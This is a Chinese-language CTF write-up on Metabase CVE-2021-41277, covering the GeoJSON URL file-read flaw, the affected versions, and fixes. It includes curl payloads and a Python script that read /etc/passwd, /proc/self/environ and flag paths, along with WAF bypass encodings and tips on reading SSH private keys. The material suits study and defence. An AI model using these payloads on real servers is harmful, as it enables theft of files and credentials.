Metabase CVE-2021-41277漏洞原理与CTF实战利用全解析

发布时间:2026/9/3 9:24:58

Metabase CVE-2021-41277漏洞原理与CTF实战利用全解析
1. 项目概述从一次真实的CTF赛题说起前段时间在打一场线上CTF比赛时遇到了一道Web题靶机环境跑着一个看起来像是数据可视化后台的系统。页面很简洁左上角有个“Metabase”的Logo。题目描述很模糊就给了个地址让找flag。这种“开盲盒”式的题目往往意味着漏洞利用链不会太复杂很可能是一个已知的、影响面广的漏洞。我第一时间就想到了Metabase历史上那个经典的远程文件读取漏洞CVE-2021-41277。这个漏洞在2021年底被公开因为Metabase的流行度它在CTF和实战渗透测试中出现的频率相当高。它本质上是一个由于服务端对用户提供的GeoJSON URL验证不当导致的任意文件读取漏洞。攻击者可以构造特殊的请求让Metabase服务器去读取本地文件系统中的任意文件比如/etc/passwd、应用程序源码、配置文件甚至SSH私钥。在CTF场景下出题人经常会把flag放在服务器的某个特定文件里这个漏洞就成了“夺旗”的直通车。这次我们就来彻底拆解这个漏洞不仅理解它的原理更要掌握在CTF实战中如何快速识别、利用和拓展思路把一道题打成“送分题”。2. 漏洞核心原理深度拆解要利用一个漏洞死记硬背POC概念验证代码是远远不够的必须理解其根源。CVE-2021-41277漏洞发生在Metabase的/api/geojson接口上。这个接口的设计初衷是允许用户通过一个URL参数让Metabase去获取外部的GeoJSON格式的地理信息数据用于地图可视化。2.1 问题出在“URL”处理逻辑上Metabase在接收到这个URL参数后需要对其进行下载和解析。问题就出在下载前的“验证”和“处理”环节。我们来看一下有问题的代码逻辑基于公开的漏洞分析输入点用户可控的url参数通过API传入。协议处理后端代码会检查这个URL的协议。如果是以file://、jar://等本地文件协议开头理应被拒绝。但关键点在于它可能使用了某些库函数如Java的URL类进行标准化处理。标准化陷阱攻击者可以提交一个像http://127.0.0.1#/etc/passwd这样的URL。在某些URL解析逻辑中#后面的部分会被视为片段fragment在标准化过程中符号及其前面的内容可能被错误地解释为“用户信息”而真正的“主机”部分变成了空或本地主机路径部分则被解析为/etc/passwd。经过一系列处理这个URL可能被内部转换成一个指向本地文件的file://URL。缺乏路径穿越检查即使URL被正确解析为一个指向本地文件的请求如果服务端没有对最终的文件路径进行严格的校验防止目录穿越如../../../攻击者就可以读取系统上的任意文件。简单来说漏洞成因是对用户输入的GeoJSON URL验证不充分导致攻击者可以构造特殊的URL绕过协议限制和路径校验使服务器端代码读取并返回本地文件的内容。注意这里描述的原理是一种简化的、概念性的解释。实际漏洞利用可能涉及更具体的URL构造技巧利用了解析库如java.net.URL与HTTP客户端库如Apache HttpClient在处理URL时的差异性。例如攻击者可能利用符号、#号或空格等字符使HTTP客户端库将请求发送到127.0.0.1但路径部分却被解析为本地文件路径。2.2 影响版本与修复根据官方公告这个漏洞影响Metabase版本从v0.40.0到v0.40.4。在v0.40.5及之后的版本中官方修复了此问题。修复方式通常包括加强对输入URL的校验严格拒绝任何可能指向本地文件或内部网络的URL模式。在使用URL之前进行更彻底的标准化和安全性检查。限制GeoJSON功能只能从可信的、预设的域名列表加载数据或者完全移除通过URL动态加载的功能改为必须上传文件。对于CTF选手和安全研究人员来说记住v0.40.0 到 v0.40.4这个版本范围是关键。如果比赛中遇到的Metabase界面版本号在此范围内或者题目描述/容器标签暗示了旧版本那么这个漏洞存在的可能性就极高。3. CTF实战利用全流程理论懂了我们直接上实战。假设我们拿到一个CTF靶机地址http://192.168.1.100:3000。3.1 第一步信息收集与漏洞初步判断访问首页打开靶机地址。通常Metabase的默认端口是3000。你会看到一个登录页面或者数据看板。注意页面底部或/api/health接口可能显示的版本信息。在CTF中出题人有时不会隐藏版本。识别特征页面上有明显的“Metabase”商标或者查看网页源代码搜索“Metabase”关键字。确认目标就是Metabase。探测漏洞接口直接尝试访问漏洞接口/api/geojson?urlsomething。如果接口存在即使参数错误也可能返回错误信息而非404这有助于确认。版本确认如果页面上没有版本可以尝试访问/api/session/properties这个公开接口有时会返回版本信息。或者查看登录页面、JS文件中的注释、HTTP响应头中的X-Powered-By等字段。在CTF中如果题目明确是Metabase或者信息收集高度指向它我们可以直接跳到利用步骤节省时间。3.2 第二步构造并发送漏洞利用Payload这是核心环节。我们需要构造一个特殊的URL让Metabase去读取我们想要的flag文件。Flag的存放位置千变万化但有一些常见思路Web根目录/var/www/html/flag/app/flag/flag。当前目录./flag。用户目录/home/ctf/flag。配置文件有时flag藏在数据库或环境变量里可能需要读配置文件如/opt/metabase/config.yml。经典试探总是先读/etc/passwd来验证漏洞是否可利用并查看系统用户也许能发现线索。利用Payload示例使用curl命令# 测试漏洞是否存在读取/etc/passwd curl -s http://192.168.1.100:3000/api/geojson?urlhttp://127.0.0.1#/etc/passwd # 尝试读取根目录下的flag curl -s http://192.168.1.100:3000/api/geojson?urlhttp://127.0.0.1#/flag # 尝试读取Web目录下的flag curl -s http://192.168.1.100:3000/api/geojson?urlhttp://127.0.0.1#/var/www/html/flag # 如果遇到空格或特殊字符需要进行URL编码 # 例如读取名为“my flag.txt”的文件 curl -s http://192.168.1.100:3000/api/geojson?urlhttp://127.0.0.1#/var/www/html/my%20flag.txt参数解释-s静默模式不显示进度信息。url参数这是我们构造的恶意URL。http://127.0.0.1指向服务器自身#号在URL中表示片段标识符。符号在某些上下文中有特殊含义。整个字符串组合起来可能诱使服务器的URL处理逻辑错误地将路径解析为本地文件系统路径。实操心得Payload的构造可能有多种变体。除了http://127.0.0.1#/etc/passwd还可以尝试http://localhost#/etc/passwdhttp://0.0.0.0#/etc/passwdhttp://127.0.0.1:80#/etc/passwd(指定端口)甚至利用URL解析特性尝试http://127.0.0.1//etc/passwd或http://127.0.0.1\/../etc/passwd注意斜杠。在实战中需要灵活尝试。一个技巧是使用Burp Suite的Intruder模块加载一个常见的Payload字典进行Fuzz测试。3.3 第三步处理响应与获取Flag发送请求后我们可能会得到几种响应直接返回文件内容最理想的情况响应体直接就是/etc/passwd或flag文件的内容。Flag可能以ctf{...}、flag{...}等形式呈现。返回JSON格式的错误信息如果文件不存在或路径错误接口可能返回一个JSON错误如{message:Invalid GeoJSON file}。这同样有价值通过错误信息可以判断文件是否存在对比访问一个肯定不存在的文件时的错误信息。返回GeoJSON解析错误服务器成功读取了文件但因为它不是合法的GeoJSON格式所以返回解析错误。这个错误信息里有时会包含文件的前几行内容这是关键点。你需要仔细查看完整的HTTP响应包括响应头和响应体。Flag可能就藏在错误信息中。无响应或500错误可能漏洞不存在或者Payload构造不对或者目标服务有防护。实战技巧使用工具高效测试手动敲命令效率低。推荐以下方法Burp Suite Repeater将请求发送到Repeater方便修改url参数反复测试。编写Python脚本import requests import sys target http://192.168.1.100:3000 api_endpoint /api/geojson # 常见flag路径列表 common_paths [ /flag, /home/ctf/flag, /var/www/html/flag, /app/flag, /tmp/flag, /etc/passwd, # 用于验证漏洞 ] for path in common_paths: # 构造Payload注意URL编码 payload fhttp://127.0.0.1#{path} url f{target}{api_endpoint}?url{payload} try: resp requests.get(url, timeout5) print(f\n[] Trying: {path}) print(f Status: {resp.status_code}) # 打印响应内容的前500字符通常足够 print(f Preview: {resp.text[:500]}) # 如果响应中包含常见flag格式 if ctf{ in resp.text or flag{ in resp.text: print(f\n[!!!] FLAG可能在此响应中) print(resp.text) break except Exception as e: print(f\n[-] Error for {path}: {e})这个脚本可以自动化测试一系列常见路径大大提高效率。4. 漏洞利用的进阶与拓展在CTF中出题人不会总是让你直接读一个名为flag的文件。他们可能会设置障碍或者需要你将文件读取能力转化为其他能力如RCE。这就需要我们拓展利用思路。4.1 寻找Flag的N种思路读取应用程序源代码Flag可能被硬编码在某个PHP、Python或Java文件里。尝试读取Metabase自身的配置文件或源码。路径猜测/opt/metabase//app//metabase/。读取配置文件/opt/metabase/config.yml 可能包含数据库密码而flag在数据库里。读取环境变量在Docker环境中flag有时会通过环境变量传入。可以尝试读取/proc/self/environ文件。这个文件包含了当前进程的所有环境变量。curl -s http://192.168.1.100:3000/api/geojson?urlhttp://127.0.0.1#/proc/self/environ返回的内容可能是乱码因为包含空字符但仔细看能找到FLAGctf{...}这样的行。目录遍历与列表漏洞是文件读取但如果我们能读取到一些可以“列出目录”的文件吗通常不行。但我们可以尝试读取/proc/self/cwd/下的文件这指向当前工作目录。或者通过不断尝试../../../来穿越目录结合常见的文件名字典进行爆破。结合其他信息如果通过/etc/passwd发现了非root用户如metabaseapp可以尝试读取其家目录下的文件/home/metabase/.bash_history/home/metabase/.ssh/id_rsa。私钥可能用于SSH登录从而找到flag。4.2 从文件读取到命令执行RCE这是更高阶的目标。单纯的LFI本地文件包含或文件读取如果能结合其他条件可能升级为RCE。对于Metabase这个漏洞直接RCE比较困难但可以思考以下方向读取敏感凭证通过读取配置文件如config.yml获取数据库连接字符串。如果数据库是H2Metabase默认的嵌入式数据库且允许远程连接或许可以尝试直接操作数据库插入恶意代码。写入文件这个漏洞是“读取”不是“写入”。但如果服务器上存在其他漏洞点或者你能通过读取到的信息如临时文件路径、上传目录路径结合其他方法如SSRF写入一个Webshell那就构成了攻击链。利用特殊文件在Linux中有些文件可以影响程序行为。例如如果你能控制Metabase运行时的某个环境也许可以通过写入/proc/self/mem极难或利用/proc/self/fd/进行一些操作但这通常超出了CTF Web题的范畴更偏向Pwn题。在针对Metabase CVE-2021-41277的CTF题中99%的情况止步于文件读取。RCE通常需要另一个独立的漏洞或配置错误。4.3 绕过可能的WAF或过滤有些CTF环境可能会设置简单的过滤规则比如拦截../或etc/passwd等关键字。我们可以尝试一些绕过技巧URL编码/etc/passwd-%2Fetc%2Fpasswd../-%2e%2e%2f双重编码%2F-%252F使用空字节在某些上下文中可能无效/etc/passwd%00使用非标准路径表示/etc/./passwd///etc/passwd利用解析差异尝试不同的Payload变体如前文所述。5. 防御视角与修复方案分析漏洞是为了更好地防御。如果你是运维人员或开发者面对这样一个漏洞应该怎么做立即升级最直接有效的方法是将Metabase升级到v0.40.5或更高版本。官方已修复此漏洞。临时缓解如果无法立即升级可以考虑网络层隔离确保运行Metabase的服务器处于内网严格限制外网访问。通过防火墙规则只允许必要的IP访问其服务端口如3000。反向代理过滤在Metabase前部署Nginx或Apache作为反向代理。在代理层对请求进行过滤拦截包含/api/geojson?url参数且参数值可疑包含..、、#、file、localhost、127.0.0.1等的请求。禁用危险功能如果业务不需要GeoJSON的URL加载功能可以通过修改代码或配置彻底禁用/api/geojson接口。安全开发规范输入验证对所有用户输入进行严格的“白名单”验证。对于URL不仅要验证协议只允许https?://还要验证主机名禁止回环地址、内网IP、域名解析为内网IP等。使用安全的库使用经过安全审计的库来处理URL和网络请求并了解其默认行为。例如明确设置HTTP客户端禁止自动跳转、禁止访问本地网络等。最小权限原则运行Metabase的进程使用非root、低权限的用户。这样即使被攻破攻击者能读取的文件也有限。错误信息处理避免在错误响应中泄露敏感信息如文件路径、部分文件内容等。返回统一的、信息量少的错误页面。6. 实战中遇到的典型问题与排查在实际利用漏洞和搭建测试环境的过程中我踩过不少坑。这里记录一下帮你避雷。问题1发送Payload后返回“Invalid GeoJSON”错误但看不到文件内容。排查这通常是正常的。漏洞触发了文件被读取但因为内容不是合法的GeoJSON所以接口返回了错误。关键是要检查错误的详细信息。有些实现会在错误信息里回显它尝试解析的内容的前几个字节。用curl -i查看完整响应头或者用Burp Suite查看原始响应。Flag可能就在那一小段回显里。解决尝试读取一个肯定是文本格式的小文件如/etc/hosts来确认。如果能看到/etc/hosts的内容片段出现在错误信息里就证明漏洞存在可以继续尝试其他文件。问题2本地搭建的Metabase漏洞环境v0.40.4无法复现。排查版本确认确保下载的确实是v0.40.4。最好从官方GitHub的Release页面下载。启动方式Metabase默认使用Jetty服务器。确保没有前置的Nginx/Apache它们可能会过滤或修改请求。Payload格式尝试多种Payload变体。不同环境下的URL解析可能有细微差别。参考公开的EXP代码使用被验证过的Payload。文件权限确保你尝试读取的文件如/etc/passwd对运行Metabase的用户是可读的。解决使用Docker快速搭建是最可靠的复现方式docker pull metabase/metabase:v0.40.4 docker run -d -p 3000:3000 --name metabase-vuln metabase/metabase:v0.40.4然后对http://localhost:3000进行测试。问题3CTF题目中读取/etc/passwd成功但找不到flag文件。排查思路拓展不要只盯着根目录。查看/etc/passwd里有哪些用户尝试其家目录。查看环境变量/proc/self/environ。读取进程信息尝试读取/proc/self/cmdline看看启动命令也许有线索。读取应用日志尝试/var/log/下的日志文件或者Metabase自己的日志。尝试常见CTF路径/flag/home/ctf/flag/app/flag/tmp/flag/opt/flag/var/www/flag。尝试读取题目描述/源码如果题目提供了源码下载漏洞点可能在源码注释里。或者flag可能就在Web根目录的index.php源码里。解决编写一个自动化脚本加载一个大的“常见文件和路径”字典进行爆破。这是CTF中解决LFI/FI类题目的常规操作。问题4请求被WAF拦截返回403或其它阻断页面。排查观察拦截页面判断是云WAF如阿里云、Cloudflare还是自定义规则。尝试更改请求方法GET/POST、添加无关参数、分割参数、使用HTTP/2等方式绕过。解决对于这个特定漏洞可以尝试将参数url进行拆分或编码。例如将整个Payload进行Base64编码然后看后端是否会解码这需要后端逻辑支持概率小。更实际的是尝试不同的本地地址表示法如[::]、0.0.0.0、localhost的变形。这个漏洞的分析和利用过程很好地体现了一个完整的Web安全研究链条从漏洞原理理解到利用工具编写再到实战中的变通和问题排查。掌握它不仅能帮你解决CTF中的一道题更能加深你对“输入验证”、“路径解析”、“协议处理”这些核心安全概念的理解。下次再看到类似“通过URL加载外部资源”的功能你自然会多一份警惕。

相关新闻

STM32与MC6470 IMU传感器集成开发指南

STM32与MC6470 IMU传感器集成开发指南

2026/9/2 6:48:18

1. 项目背景与硬件选型解析 MC6470是一款集成了6自由度惯性测量单元(6DOF IMU)的传感器模块,它通过I2C接口与主控芯片通信。在实际项目中,我选择STM32L4A6RG作为主控芯片,主要基于以下几个考量: STM32L4A6RG是STMicroelectronics…

从说透底层开始:供应链计划、APS软件与排产智能体——发展脉络、落地痛点与未来趋势

从说透底层开始:供应链计划、APS软件与排产智能体——发展脉络、落地痛点与未来趋势

2026/9/2 18:18:30

为什么同样是依靠手工Excel人拉肩扛编排大型复杂供应链计划,有的企业依旧运营顺畅、交付稳定,而大量企业却计划失效、交付失控、运营内耗严重?为什么同样着手开发 APS 排产软件,少数企业实现产销端到端协同、排产结果精准可靠&…

Java实现跨境支付加密全流程:AES+RSA+数字签名实战解析

Java实现跨境支付加密全流程:AES+RSA+数字签名实战解析

2026/8/28 18:47:57

1. 项目概述:跨境支付中的加密实战跨境支付系统,听起来高大上,但核心的安全挑战其实很具体:如何让一笔交易指令,从A国的商户服务器出发,穿越公网,安全、完整、不可抵赖地抵达B国的支付网关&…

用Python分离贝斯音轨并做频谱分析实践

用Python分离贝斯音轨并做频谱分析实践

2026/9/3 12:47:00

这个标题无法用于 CSDN 技术博客创作。“杀死那个石家庄人”是一首知名歌曲,但它不属于技术主题,且其歌词意象涉及不宜展开的社会现实背景。根据内容安全与平台定位要求,我不能围绕它撰写“技术解析”“项目实战”或“趋势观点”类博文&#…

CTF网络安全攻防练习题

CTF网络安全攻防练习题

2026/9/3 12:47:00

一道CTF网络安全攻防练习题把我整破防了:NNP?像素藏密PDF双层隐写保姆级复盘 本文标签:CTF Misc杂项 隐写术 PDF分析 LSB 网络安全攻防 二进制 原创文章,适合CTF入门到进阶选手,全文干货,建议收藏后慢慢看。…

激光雷达点云与相机图像融合:坐标系转换与投影着色实战指南

激光雷达点云与相机图像融合:坐标系转换与投影着色实战指南

2026/9/3 12:47:00

简介:本资源是一套基于Python实现的激光雷达点云与图像融合可视化工具,面向自动驾驶、三维感知及计算机视觉方向的学习者与工程师,解决LiDAR点云到相机图像平面的精确投影与着色难题。压缩包共23个文件(8.77MB)&#x…

C/C++入门教程评估指南:从零基础到实战的系统学习路径

C/C++入门教程评估指南:从零基础到实战的系统学习路径

2026/9/3 12:47:00

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

Hyper DBZ:基于RAG的AI编程助手环境,实现项目感知与智能代码生成

Hyper DBZ:基于RAG的AI编程助手环境,实现项目感知与智能代码生成

2026/9/3 12:47:00

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

从会用Docker到懂设计:隔离、隐藏与行为限制

从会用Docker到懂设计:隔离、隐藏与行为限制

2026/9/3 12:36:59

写在文章开头 这是笔者在2022年左右写的一篇关于docker基本概念和实践的教程,随着AI的出现,开发者对于此类运维工具的学习和上手成本逐步降低,真正稀缺的,是正确地理解技术,而理解它要弄明白三件事: 它为…

备战数据库管理工程师校招:索引、事务、备份恢复核心考点解析

备战数据库管理工程师校招:索引、事务、备份恢复核心考点解析

2026/9/2 10:08:07

每年校招季我都会接触不少准备数据库方向笔试的同学,看到最多的状态就是:简历上写着“熟悉 MySQL”“了解索引优化”,一碰到数据库管理工程师的笔试卷,却在索引、事务、锁、备份恢复这些题目上翻车。网易这套 2018 校园招聘数据库…

数字电路时序基石:深入理解建立时间与保持时间

数字电路时序基石:深入理解建立时间与保持时间

2026/9/2 12:11:52

1. 这不是“背公式”的事:时间参数到底在约束什么你翻过数字电路教材,一定见过这两个词:建立时间(Setup Time)和保持时间(Hold Time)。它们常被并列写在触发器(Flip-Flop&#xff09…

蓝桥杯国赛超声波测距机:从单片机原理到嵌入式系统实战

蓝桥杯国赛超声波测距机:从单片机原理到嵌入式系统实战

2026/9/1 23:49:08

1. 项目缘起:从赛题到超声波测距机的诞生第八届蓝桥杯单片机设计与开发国赛的题目,我至今记忆犹新。它没有直接给出一个花哨的名字,而是用“超声波测距机”这个朴实无华的功能描述,精准地勾勒出了考核的核心。对于当时备赛的我而言…

【原创】基于微信小程序+AI大模型+uni-app的宠物用品商城小程序(设计与实现)

【原创】基于微信小程序+AI大模型+uni-app的宠物用品商城小程序(设计与实现)

2026/9/3 0:06:18

摘要:随着电子商务与本地生活服务的普及,线上交易与店铺运营管理已成为常规业态。传统分散式进销存与人工对账方式存在流程割裂、库存难同步、促销规则难落地、经营数据难沉淀等弊端,难以支撑一体化的数字化运营。同类课题亦多见多商户在线商…

【原创】基于AI大模型+SpringBoot+Vue的宠物用品商城(设计与实现)

【原创】基于AI大模型+SpringBoot+Vue的宠物用品商城(设计与实现)

2026/9/3 0:06:18

摘要:随着电子商务与本地生活服务的普及,线上交易与店铺运营管理已成为常规业态。传统分散式进销存与人工对账方式存在流程割裂、库存难同步、促销规则难落地、经营数据难沉淀等弊端,难以支撑一体化的数字化运营。同类课题亦多见多商户在线商…

【原创】基于微信小程序+AI大模型+uni-app的节日礼品定制商城小程序(设计与实现)

【原创】基于微信小程序+AI大模型+uni-app的节日礼品定制商城小程序(设计与实现)

2026/9/3 0:06:18

摘要:随着电子商务与本地生活服务的普及,线上交易与店铺运营管理已成为常规业态。传统分散式进销存与人工对账方式存在流程割裂、库存难同步、促销规则难落地、经营数据难沉淀等弊端,难以支撑一体化的数字化运营。同类课题亦多见多商户在线商…

远程协作的工作台整理

远程协作的工作台整理

2026/9/3 6:56:24

远程协作的工作台整理远程协作的核心不是再加一个工具,而是让交接信息足够完整。异步任务要写明目标、输入位置、完成标准和需要决策的人。 工作台的最小配置 将日程、待办、代码和沟通入口收拢到少数固定位置;通知按紧急程度分层。工作台不需要模仿办公…

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能

2026/9/3 6:39:45

持续集成 流水线自动化与 声明式交付 实践:原型怎样变成可用功能分类:[AI/大模型]细分主题:AI 增强型 CI/CD 流水线自动化与 GitOps 实践:Agent 工作流、工具调用与任务拆解:从原型到生产的验收清单很多团队在尝试用大…

容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场

容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场

2026/9/3 5:20:28

容器编排 生产环境运维与排障实战:复盘记录怎样真正派上用场分类:[工程技术]细分主题:Kubernetes 生产环境运维与排障实战:可复制的项目复盘模板与决策记录大部分团队的事故复盘报告,最后都变成了躺在 Confluence 或钉…